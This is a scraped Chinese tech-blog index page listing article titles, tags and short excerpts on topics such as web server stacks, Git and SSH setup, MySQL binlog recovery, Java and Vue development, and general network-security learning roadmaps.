<div>WordPress网站选择LNMP环境和LAMP环境哪个好【199cloud-艾娜】WordPress建网站选择LNMP环境还是LAMP环境服务更好呢?现在建站常用的两大环境服务是LNMP和LAMP,因为这两种环境易用,好上手,所以普及率一直很高。比如我们常用的宝塔面板,在初次登陆界面就会提示二选一。要想知道哪个好用,我们先来详细了解这两款环境服务。LNMP和LAMP,意思是指Linux服务器+N</div> </li> <li><a href="/article/1884188297236901888.htm" title="为什么计算机休眠风扇还转,Win7系统睡眠之后风扇还在转怎么办?" target="_blank">为什么计算机休眠风扇还转,Win7系统睡眠之后风扇还在转怎么办?</a> <span class="text-muted">Rubix-Kai</span> <a class="tag" taget="_blank" href="/search/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%BC%91%E7%9C%A0%E9%A3%8E%E6%89%87%E8%BF%98%E8%BD%AC/1.htm">为什么计算机休眠风扇还转</a> <div>Win7系统中的“睡眠”功能是用户作为临时关闭计算机的一种低耗能状态,拥有同样低耗能的还有“休眠”模式。有用户反馈自家Win7系统在进入睡眠状态之后,依旧可以听到风扇在转的声音,这是因为Win7处在低耗能的状态,并没有真正关机,风扇会转是正常现象。阅读本文了解Win7睡眠状态下风扇还在转的解决方案。操作步骤:方案一:1、有的电脑是主板BIOS设置不对,开机,按DEL键进入BIOS设置界面;2、选择</div> </li> <li><a href="/article/1884187289412759552.htm" title="Window平台Git-Bash的主题配置" target="_blank">Window平台Git-Bash的主题配置</a> <span class="text-muted">SpeculateCat</span> <a class="tag" taget="_blank" href="/search/Coding/1.htm">Coding</a><a class="tag" taget="_blank" href="/search/Note/1.htm">Note</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/cmd/1.htm">cmd</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/git-bash/1.htm">git-bash</a> <div>通过这篇文章,可以了解到:为什么要使用Git-Bash,以及Git-Bash的优点Git-Bash的外观主题配置Git-Bash的优点在开发的过程中,我们可能需要使用大量的命令行工具,或者远程连接到服务器进行操作。然而,由于Window自带的CMD和PowerShell都不太好用,而且在Window下的命令又与Linux和MacOS的命令不太一样,如果需要经常跨平台操作,学习Window的命令行命</div> </li> <li><a href="/article/1884186025929011200.htm" title="学霸带你游戏化协作学习打造团队如同组队打副本" target="_blank">学霸带你游戏化协作学习打造团队如同组队打副本</a> <span class="text-muted">Snow Hide(雪诺海德)</span> <a class="tag" taget="_blank" href="/search/%E7%BA%BD%E9%9B%AA%E6%BE%B3%E8%AF%BA%E5%8A%A0%E6%B5%B7%E7%BE%8E%E5%BE%B7/1.htm">纽雪澳诺加海美德</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E9%9C%B8%E6%8C%BA%E6%8B%94/1.htm">学霸挺拔</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E9%9C%B8%E6%8C%BA%E6%8B%94/1.htm">学霸挺拔</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E6%9C%AF%E4%BA%92%E5%8A%A9/1.htm">学术互助</a><a class="tag" taget="_blank" href="/search/%E7%A4%BE%E5%8C%BA%E6%88%90%E9%95%BF/1.htm">社区成长</a><a class="tag" taget="_blank" href="/search/%E7%9F%A5%E8%AF%86%E8%BE%93%E5%87%BA/1.htm">知识输出</a><a class="tag" taget="_blank" href="/search/%E4%B8%93%E4%B8%9A%E7%A7%AF%E7%B4%AF/1.htm">专业积累</a> <div>学术互助的成长之路在学霸社区中,学术互助不仅是分享知识,更是汲取成长动力的重要途径。从高质量提问到构建个人品牌,这一切都关乎如何更高效地融入社区,提升自身能力。在这里,协作与学习相辅相成,每一个互动都可能成为成长的关键节点。精准提问是开启学习的钥匙通过明确问题背景、精炼语言和提供支持数据,精准提问能帮助你更快获取专业解答,像《传送门2》(Portal2)中的任务设计一样,让每一步都有方向。高质量回</div> </li> <li><a href="/article/1884183501545205760.htm" title="Android Studio 打包APK方法" target="_blank">Android Studio 打包APK方法</a> <span class="text-muted">爱桃酥的沐晨</span> <a class="tag" taget="_blank" href="/search/Android/1.htm">Android</a><a class="tag" taget="_blank" href="/search/AndroidStudio%E6%89%93%E5%8C%85/1.htm">AndroidStudio打包</a><a class="tag" taget="_blank" href="/search/apk%E6%89%93%E5%8C%85/1.htm">apk打包</a> <div>AndroidStudio是谷歌推出一个Android集成开发工具,基于IntelliJIDEA。它类似于EclipseADT,AndroidStudio提供了集成的Android开发工具用于开发和调试。那么今天我们就来讲讲如何通过AndroidStudio打包APK文件,相信有很多用户还不是非常了解,下面通过这篇文章给大家介绍一下。前面一直使用的是out文件夹里面的那个apk文件(debug版本</div> </li> <li><a href="/article/1884183123592278016.htm" title="基于 Bash 脚本的系统信息定时收集方案" target="_blank">基于 Bash 脚本的系统信息定时收集方案</a> <span class="text-muted">努力的小T</span> <a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97%E8%BF%90%E7%BB%B4%E5%9F%BA%E7%A1%80/1.htm">云计算运维基础</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E8%AE%A1%E7%AE%97/1.htm">云计算</a> <div>一、引言在系统运维和监控工作中,及时且全面地收集系统信息至关重要。通过对系统信息的分析,我们可以了解系统的运行状态、资源使用情况等,以便及时发现潜在问题并采取相应措施。本文将详细介绍一个基于Bash脚本实现的系统信息定时收集方案,该方案能够收集多种系统信息并将其存储在指定目录,同时通过cron实现定时执行。二、脚本功能概此脚本具备以下主要功能:用户权限检查:保证脚本以root用户身份运行,避免因权</div> </li> <li><a href="/article/1884181610534858752.htm" title="Flask-SQLAlchemy 根据数据库中已有的表建立Model对象" target="_blank">Flask-SQLAlchemy 根据数据库中已有的表建立Model对象</a> <span class="text-muted">nico2333</span> <a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a> <div>官方文档配置信息classConfig(object):"""配置参数"""#sqlalchemy的配置参数连接到数据库SQLALCHEMY_DATABASE_URI="[1数据库类型]://[2用户名]:[3密码]@[4数据库所在IP]:[5端口号]/[6数据库名]"#设置sqlalchemy自动跟踪数据库SQLALCHEMY_TRACK_MODIFICATIONS=Trueapp.config</div> </li> <li><a href="/article/1884181106643759104.htm" title="vscode通过ssh连接github仓库(git+ssh+github+vscode详细步骤)" target="_blank">vscode通过ssh连接github仓库(git+ssh+github+vscode详细步骤)</a> <span class="text-muted">en你好</span> <a class="tag" taget="_blank" href="/search/vscode/1.htm">vscode</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a> <div>vscode如何通过ssh连接github仓库(详细步骤)文章目录vscode如何通过ssh连接github仓库(详细步骤)前言1.ssh2.github一、安装Git二、获取ssh密钥三、在github配置ssh密钥四、在vscode上添加远程仓库总结前言首先我们先来了解一下什么是ssh和github1.sshSSH(SecureShell)是一种网络协议,用于在不安全的网络中安全地传输数据和执</div> </li> <li><a href="/article/1884175924690219008.htm" title="ubuntu下复制大文件" target="_blank">ubuntu下复制大文件</a> <span class="text-muted">Joyner2018</span> <a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%BC%E5%90%88/1.htm">计算机综合</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%A1%AC%E7%9B%98/1.htm">硬盘</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>ubuntu下复制大文件1.在服务器上的文件复制:cp源文件目的文件cp源文件目的文件夹2.从一台服务器上拷贝到另一台服务器scpusername@ip:directory本台服务器的路径3.从硬盘拷贝文件到服务器这里复制的方法很多:操作最直观的就是远程客户端的上传,但是这个受网络限制,速度慢命令上的上传rz回车暴力快速的方法是把硬盘插到服务器上sudofdisk-lsudomount/dev/s</div> </li> <li><a href="/article/1884174159441883136.htm" title="我转世到1995年写JavaScript称霸程序员-时空裂缝中的初识" target="_blank">我转世到1995年写JavaScript称霸程序员-时空裂缝中的初识</a> <span class="text-muted">HYP_Coder</span> <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a> <div>第一章:时空裂缝中的初识——穿越到1995年,开始编写JavaScript目录第一章:时空裂缝中的初识——穿越到1995年,开始编写JavaScript一切从零开始——了解JavaScript的基础走向深处——控制流与循环结构历史的车轮——预见未来深入探索:函数——代码的核心力量对象与数组——掌握数据结构的钥匙浏览器与DOM——向网页世界进发结语——开始征程雨,淅淅沥沥地拍打着窗户,夜色也随之变得</div> </li> <li><a href="/article/1884174157755772928.htm" title="在Visual Studio Code中配置C/C++开发环境——从零开始" target="_blank">在Visual Studio Code中配置C/C++开发环境——从零开始</a> <span class="text-muted">HYP_Coder</span> <a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/vscode/1.htm">vscode</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/ide/1.htm">ide</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E8%BE%91%E5%99%A8/1.htm">编辑器</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>如何在VisualStudioCode中配置C/C++开发环境——从零开始引言在学习C/C++编程时,一个高效的开发环境可以极大地提升你的编程体验和效率。VisualStudioCode(VSCode)是一个流行的代码编辑器,它以其强大的功能和灵活的配置而闻名。即使你之前从未编写过任何代码,这篇文章也将带你一步步了解如何在VSCode中配置C/C++开发环境,让你能够顺利地开始编写、编译和调试C/</div> </li> <li><a href="/article/1884170377094033408.htm" title="git Bash通过SSH key 登录github的详细步骤" target="_blank">git Bash通过SSH key 登录github的详细步骤</a> <span class="text-muted">Better Bench</span> <a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90/1.htm">学习资源</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a> <div>1问题通过在windows终端中的通过git登录github不再是通过密码登录了,需要本地生成一个密钥,配置到gihub中才能使用2步骤(1)首先配置用户名和邮箱gitconfig--globaluser.name"用户名"gitconfig--globaluser.email"邮箱"(2)其次在本地生成SSH的密钥ssh-keygen-trsa-b4096-C"邮箱"这一步会提示,生成的SSH公</div> </li> <li><a href="/article/1884164832320614400.htm" title="python的优劣势-Python语言的优缺点是什么呢?" target="_blank">python的优劣势-Python语言的优缺点是什么呢?</a> <span class="text-muted">weixin_39777488</span> <div>Python目前是比较流行的语言,深受广大程序员的喜爱,不仅仅是因为其语言本身突出的优势,也是由目前Python的语言地位决定的,很多人可能已经了解过Python是什么?但是并不清楚Python语言的优缺点是什么?今天我们就一起来探讨一下这个问题,希望各位小伙伴能清楚的了解Python语言的优缺点。Python这门语言的魅力和影响力已经远超Java、C、C++等编程语言前辈,2018年主流的十大编</div> </li> <li><a href="/article/1884160287829979136.htm" title="Unity引擎下的ARCore插件学习指南:从入门到实战案例" target="_blank">Unity引擎下的ARCore插件学习指南:从入门到实战案例</a> <span class="text-muted">小宝哥Code</span> <a class="tag" taget="_blank" href="/search/%E5%85%83%E5%AE%87%E5%AE%99VRARXR/1.htm">元宇宙VRARXR</a><a class="tag" taget="_blank" href="/search/unity/1.htm">unity</a><a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F%E5%BC%95%E6%93%8E/1.htm">游戏引擎</a> <div>1.了解ARCore与Unity引擎的结合ARCore是由Google开发的一种增强现实(AR)平台,它能够让Android设备在现实世界中准确定位并映射环境,以便提供AR体验。与Unity结合后,ARCore能够为开发者提供强大的工具来实现流畅、精准的AR应用开发。学习资源:官方文档:ARCore官方文档(ARCoredocumentation)是最权威、最全面的学习资源,包含API参考、示例项</div> </li> <li><a href="/article/1884156880809422848.htm" title="信息安全与网络安全有什么区别?(1)" target="_blank">信息安全与网络安全有什么区别?(1)</a> <span class="text-muted">2401_84297944</span> <a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/hibernate/1.htm">hibernate</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>通过在抓包软件下查看通信流量,对计算机网络的认识从抽象变得具象。加解密技术接着,来了解一些网络安全领域内经常打交道的编解码技术和加解密技术。包括base64编码、对称加密、非对称加密、哈希技术等等。了解它们基础的概念、做什么用的,解决什么问题,最后再了解下工作原理。推荐书籍:《加密与解密》白银(结丹期)现在进入第三个阶段——白银时代,激动人心的时刻就要到来了,在这个阶段,我们开始全面学习真正的网络</div> </li> <li><a href="/article/1884150327633047552.htm" title="Vue.js从入门到就业[第20讲]:响应式设计与调优,一文吃透它!" target="_blank">Vue.js从入门到就业[第20讲]:响应式设计与调优,一文吃透它!</a> <span class="text-muted">bug菌¹</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E6%BB%9A%E9%9B%AA%E7%90%83%E5%AD%A6Vue/1.htm">滚雪球学Vue</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/flutter/1.htm">flutter</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%93%8D%E5%BA%94%E5%BC%8F%E8%AE%BE%E8%AE%A1/1.htm">响应式设计</a><a class="tag" taget="_blank" href="/search/Vue%E8%B0%83%E4%BC%98/1.htm">Vue调优</a><a class="tag" taget="_blank" href="/search/Vue%E5%85%A5%E9%97%A8/1.htm">Vue入门</a> <div>本文收录于「Vue.js从入门到就业」专栏,手把手带你零基础教学Vue,从入门到就业,助你早日登顶实现财富自由;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!本文目录:前言摘要正文1.Vue.js的响应式系统原理1.1Vue.js响应式系统的核心Vue2与Vue3的响应式系统响应式数据的实现1.2Vue2与Vue3响应式系统的差异Vue2的局限性Vue3的优势1.3响应式系统</div> </li> <li><a href="/article/1884148684942274560.htm" title="深入了解 ELF 文件格式:Linux 的可执行文件标准" target="_blank">深入了解 ELF 文件格式:Linux 的可执行文件标准</a> <span class="text-muted">salsm</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a> <div>在Linux操作系统中,ELF(ExecutableandLinkableFormat)文件格式是一个至关重要的标准,它用于存储可执行文件、目标文件和共享库等。无论是开发者、系统管理员,还是从事底层编程的工程师,都需要理解ELF文件的结构,因为它决定了如何加载、执行和调试程序。本文将深入解析ELF文件的结构,帮助大家更好地理解它的工作原理及其在操作系统中的作用。什么是ELF文件?ELF(Execu</div> </li> <li><a href="/article/1884143010791354368.htm" title="如何0基础自学网络安全技术,推荐一个非常稳的网络安全学习路线_网络安全入门学习路线" target="_blank">如何0基础自学网络安全技术,推荐一个非常稳的网络安全学习路线_网络安全入门学习路线</a> <span class="text-muted">星空真懒</span> <a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>青铜(筑基期)度过了石器时代,你已经储备了一些计算机的基础知识:操作系统的使用,网络协议,前端基础,数据库初识,但这距离做网络安全还不够,在第二个青铜阶段,你还需要再进一步学习基础,在第一阶段之上,难度会开始慢慢上升。这一阶段需要学习的知识有:Web进阶在前面的石器时代,咱们初步接触了网页编程,了解了网页的基本原理。不过那时候是纯前端的,纯静态的网页,没有接触后端。在这个进阶的阶段,你要开始接触W</div> </li> <li><a href="/article/1884137210307997696.htm" title="MySQL如何恢复误删的数据?" target="_blank">MySQL如何恢复误删的数据?</a> <span class="text-muted">墨菲墨菲</span> <a class="tag" taget="_blank" href="/search/MySQL/1.htm">MySQL</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>本节目标1.了解binlog日志2.掌握如何恢复误删除的数据【重点】什么是binlog日志binlog日志的作用1.在企业应用中,我们不是单台节点运行的,不会在一台服务器上装mysql来跑,玩万一挂了怎么办,所以我们基于负载均衡这个概念,做到主从,一主多从的复制。2.万一不小心把数据库给删了,我们可以通过binlog日志进行数据的恢复但是要满足两个条件一,定时全备份,例如每天凌晨一点定时备份二,b</div> </li> <li><a href="/article/1884135697758089216.htm" title="自学网络安全,一般人我劝你还是算了吧_白银安卓开发" target="_blank">自学网络安全,一般人我劝你还是算了吧_白银安卓开发</a> <span class="text-muted">2401_84281629</span> <a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a> <div>whois信息用来查询域名信息,shodan、zoomeye、fofa等网络空间搜索引擎检索IP、域名、URL等背后的信息,GoogleHacking利用搜索引擎来检索网站内部信息,这些东西都是在网络信息搜集中经常用到的技能。暴力破解在网络攻击中,当扫描到目标开放的服务后,最直接的就是想要登录进去。常见的服务有SSH、RDP、MySQL、Redis、Web表单等等。这个时候,暴力破解通常会派上用场</div> </li> <li><a href="/article/1884130027105218560.htm" title="更新Github上开源项目到本地" target="_blank">更新Github上开源项目到本地</a> <span class="text-muted">Wasser.</span> <a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a> <div>利用Git命令更新Github上的开源项目到本地的作用主要有以下几点:获取最新的代码,开源项目经常会有新的更新和改进,使用Git命令可以轻松地将最新的代码下载到本地。这样可以及时了解到项目的最新发展和功能改进,同时也有助于解决一些已知问题和bug。参与开源项目,下载项目代码到本地后,可以进行修改和调试。这为我们提供了参与开源项目、贡献自己的代码和解决问题的机会。通过Git命令将自己的修改提交到Gi</div> </li> <li><a href="/article/1884127631100669952.htm" title="kuberay 安装和使用" target="_blank">kuberay 安装和使用</a> <span class="text-muted">CHEN_RUI_2200</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>KubeRay是一个基于Kubernetes的项目,旨在简化在Kubernetes上部署和管理Ray集群的过程。先贴点正确的废话:1.简化集群管理KubeRay提供了一个易于使用的界面和工具,允许用户快速创建、配置和管理Ray集群,而不需要深入了解底层Kubernetes的细节。2.自动化部署通过使用Kubernetes的自定义资源定义(CRD),用户可以通过简单的YAML配置文件来定义Ray集群</div> </li> <li><a href="/article/21.htm" title="矩阵求逆(JAVA)利用伴随矩阵" target="_blank">矩阵求逆(JAVA)利用伴随矩阵</a> <span class="text-muted">qiuwanchi</span> <a class="tag" taget="_blank" href="/search/%E5%88%A9%E7%94%A8%E4%BC%B4%E9%9A%8F%E7%9F%A9%E9%98%B5%E6%B1%82%E9%80%86%E7%9F%A9%E9%98%B5/1.htm">利用伴随矩阵求逆矩阵</a> <div>package gaodai.matrix; import gaodai.determinant.DeterminantCalculation; import java.util.ArrayList; import java.util.List; import java.util.Scanner; /** * 矩阵求逆(利用伴随矩阵) * @author 邱万迟 </div> </li> <li><a href="/article/148.htm" title="单例(Singleton)模式" target="_blank">单例(Singleton)模式</a> <span class="text-muted">aoyouzi</span> <a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B/1.htm">单例</a><a class="tag" taget="_blank" href="/search/%E6%A8%A1%E5%BC%8F/1.htm">模式</a><a class="tag" taget="_blank" href="/search/Singleton/1.htm">Singleton</a> <div>3.1           概述 如果要保证系统里一个类最多只能存在一个实例时,我们就需要单例模式。这种情况在我们应用中经常碰到,例如缓存池,数据库连接池,线程池,一些应用服务实例等。在多线程环境中,为了保证实例的唯一性其实并不简单,这章将和读者一起探讨如何实现单例模式。 3.2</div> </li> <li><a href="/article/275.htm" title="[开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发" target="_blank">[开源与自主研发]就算可以轻易获得外部技术支持,自己也必须研发</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a> <div>       现在国内有大量的信息技术产品,都是通过盗版,免费下载,开源,附送等方式从国外的开发者那里获得的。。。。。。        虽然这种情况带来了国内信息产业的短暂繁荣,也促进了电子商务和互联网产业的快速发展,但是实际上,我们应该清醒的看到,这些产业的核心力量是被国外的</div> </li> <li><a href="/article/402.htm" title="页面有两个frame,怎样点击一个的链接改变另一个的内容" target="_blank">页面有两个frame,怎样点击一个的链接改变另一个的内容</a> <span class="text-muted">Array_06</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/XHTML/1.htm">XHTML</a> <div><a src="地址"  targets="这里写你要操作的Frame的名字" />搜索 然后你点击连接以后你的新页面就会显示在你设置的Frame名字的框那里 targerts="",就是你要填写目标的显示页面位置 ===================== 例如: <frame src=&</div> </li> <li><a href="/article/529.htm" title="Struts2实现单个/多个文件上传和下载" target="_blank">Struts2实现单个/多个文件上传和下载</a> <span class="text-muted">oloz</span> <a class="tag" taget="_blank" href="/search/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/1.htm">文件上传</a><a class="tag" taget="_blank" href="/search/struts/1.htm">struts</a> <div>struts2单文件上传:     步骤01:jsp页面 <!--在进行文件上传时,表单提交方式一定要是post的方式,因为文件上传时二进制文件可能会很大,还有就是enctype属性,这个属性一定要写成multipart/form-data,不然就会以二进制文本上传到服务器端-->   <form action="fileUplo</div> </li> <li><a href="/article/656.htm" title="推荐10个在线logo设计网站" target="_blank">推荐10个在线logo设计网站</a> <span class="text-muted">362217990</span> <a class="tag" taget="_blank" href="/search/logo/1.htm">logo</a> <div>在线设计Logo网站。 1、http://flickr.nosv.org(这个太简单) 2、http://www.logomaker.com/?source=1.5770.1 3、http://www.simwebsol.com/ImageTool 4、http://www.logogenerator.com/logo.php?nal=1&tpl_catlist[]=2 5、ht</div> </li> <li><a href="/article/783.htm" title="jsp上传文件" target="_blank">jsp上传文件</a> <span class="text-muted">香水浓</span> <a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/fileupload/1.htm">fileupload</a> <div>1. jsp上传 Notice: 1. form表单 method 属性必须设置为 POST 方法 ,不能使用 GET 方法 2. form表单 enctype 属性需要设置为 multipart/form-data 3. form表单 action 属性需要设置为提交到后台处理文件上传的jsp文件地址或者servlet地址。例如 uploadFile.jsp 程序文件用来处理上传的文</div> </li> <li><a href="/article/910.htm" title="我的架构经验系列文章 - 前端架构" target="_blank">我的架构经验系列文章 - 前端架构</a> <span class="text-muted">agevs</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E6%A1%86%E6%9E%B6/1.htm">框架</a><a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/jQuer/1.htm">jQuer</a> <div>框架层面:近几年前端发展很快,前端之所以叫前端因为前端是已经可以独立成为一种职业了,js也不再是十年前的玩具了,以前富客户端RIA的应用可能会用flash/flex或是silverlight,现在可以使用js来完成大部分的功能,因此js作为一门前端的支撑语言也不仅仅是进行的简单的编码,越来越多框架性的东西出现了。越来越多的开发模式转变为后端只是吐json的数据源,而前端做所有UI的事情。MVCMV</div> </li> <li><a href="/article/1037.htm" title="android ksoap2 中把XML(DataSet) 当做参数传递" target="_blank">android ksoap2 中把XML(DataSet) 当做参数传递</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>我的android app中需要发送webservice ,于是我使用了 ksop2 进行发送,在测试过程中不是很顺利,不能正常工作.我的web service 请求格式如下     [html]  view plain copy   <Envelope xmlns="http://schemas.</div> </li> <li><a href="/article/1164.htm" title="使用Spring进行统一日志管理 + 统一异常管理" target="_blank">使用Spring进行统一日志管理 + 统一异常管理</a> <span class="text-muted">baalwolf</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a> <div>统一日志和异常管理配置好后,SSH项目中,代码以往散落的log.info() 和 try..catch..finally 再也不见踪影! 统一日志异常实现类: [java]  view plain copy   package com.pilelot.web.util;      impor</div> </li> <li><a href="/article/1291.htm" title="Android SDK 国内镜像" target="_blank">Android SDK 国内镜像</a> <span class="text-muted">BigBird2012</span> <a class="tag" taget="_blank" href="/search/android+sdk/1.htm">android sdk</a> <div>一、镜像地址: 1、东软信息学院的 Android SDK 镜像,比配置代理下载快多了。 配置地址, http://mirrors.neusoft.edu.cn/configurations.we#android 2、北京化工大学的: IPV4:ubuntu.buct.edu.cn  IPV4:ubuntu.buct.cn IPV6:ubuntu.buct6.edu.cn </div> </li> <li><a href="/article/1418.htm" title="HTML无害化和Sanitize模块" target="_blank">HTML无害化和Sanitize模块</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/Linky/1.htm">Linky</a><a class="tag" taget="_blank" href="/search/Sanitize/1.htm">Sanitize</a> <div>一.ng-bind-html、ng-bind-html-unsafe         AngularJS非常注重安全方面的问题,它会尽一切可能把大多数攻击手段最小化。其中一个攻击手段是向你的web页面里注入不安全的HTML,然后利用它触发跨站攻击或者注入攻击。         考虑这样一个例子,假设我们有一个变量存</div> </li> <li><a href="/article/1545.htm" title="[Maven学习笔记二]Maven命令" target="_blank">[Maven学习笔记二]Maven命令</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a> <div>mvn compile compile编译命令将src/main/java和src/main/resources中的代码和配置文件编译到target/classes中,不会对src/test/java中的测试类进行编译 MVN编译使用 maven-resources-plugin:2.6:resources maven-compiler-plugin:2.5.1:compile &nbs</div> </li> <li><a href="/article/1672.htm" title="【Java命令二】jhat" target="_blank">【Java命令二】jhat</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/Java%E5%91%BD%E4%BB%A4/1.htm">Java命令</a> <div>jhat用于分析使用jmap dump的文件,,可以将堆中的对象以html的形式显示出来,包括对象的数量,大小等等,并支持对象查询语言。 jhat默认开启监听端口7000的HTTP服务,jhat是Java Heap Analysis Tool的缩写 1. 用法: [hadoop@hadoop bin]$ jhat -help Usage: jhat [-stack <bool&g</div> </li> <li><a href="/article/1799.htm" title="JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc" target="_blank">JBoss 5.1.0 GA:Error installing to Instantiated: name=AttachmentStore state=Desc</a> <span class="text-muted">ronin47</span> <div>进到类似目录 server/default/conf/bootstrap,打开文件 profile.xml找到: Xml代码<bean    name="AttachmentStore"  class="org.jboss.system.server.profileservice.repository.AbstractAtta</div> </li> <li><a href="/article/1926.htm" title="写给初学者的6条网页设计安全配色指南" target="_blank">写给初学者的6条网页设计安全配色指南</a> <span class="text-muted">brotherlamp</span> <a class="tag" taget="_blank" href="/search/UI/1.htm">UI</a><a class="tag" taget="_blank" href="/search/ui%E8%87%AA%E5%AD%A6/1.htm">ui自学</a><a class="tag" taget="_blank" href="/search/ui%E8%A7%86%E9%A2%91/1.htm">ui视频</a><a class="tag" taget="_blank" href="/search/ui%E6%95%99%E7%A8%8B/1.htm">ui教程</a><a class="tag" taget="_blank" href="/search/ui%E8%B5%84%E6%96%99/1.htm">ui资料</a> <div>网页设计中最基本的原则之一是,不管你花多长时间创造一个华丽的设计,其最终的角色都是这场秀中真正的明星——内容的衬托     我仍然清楚地记得我最早的一次美术课,那时我还是一个小小的、对凡事都充满渴望的孩子,我摆放出一大堆漂亮的彩色颜料。我仍然记得当我第一次看到原色与另一种颜色混合变成第二种颜色时的那种兴奋,并且我想,既然两种颜色能创造出一种全新的美丽色彩,那所有颜色</div> </li> <li><a href="/article/2053.htm" 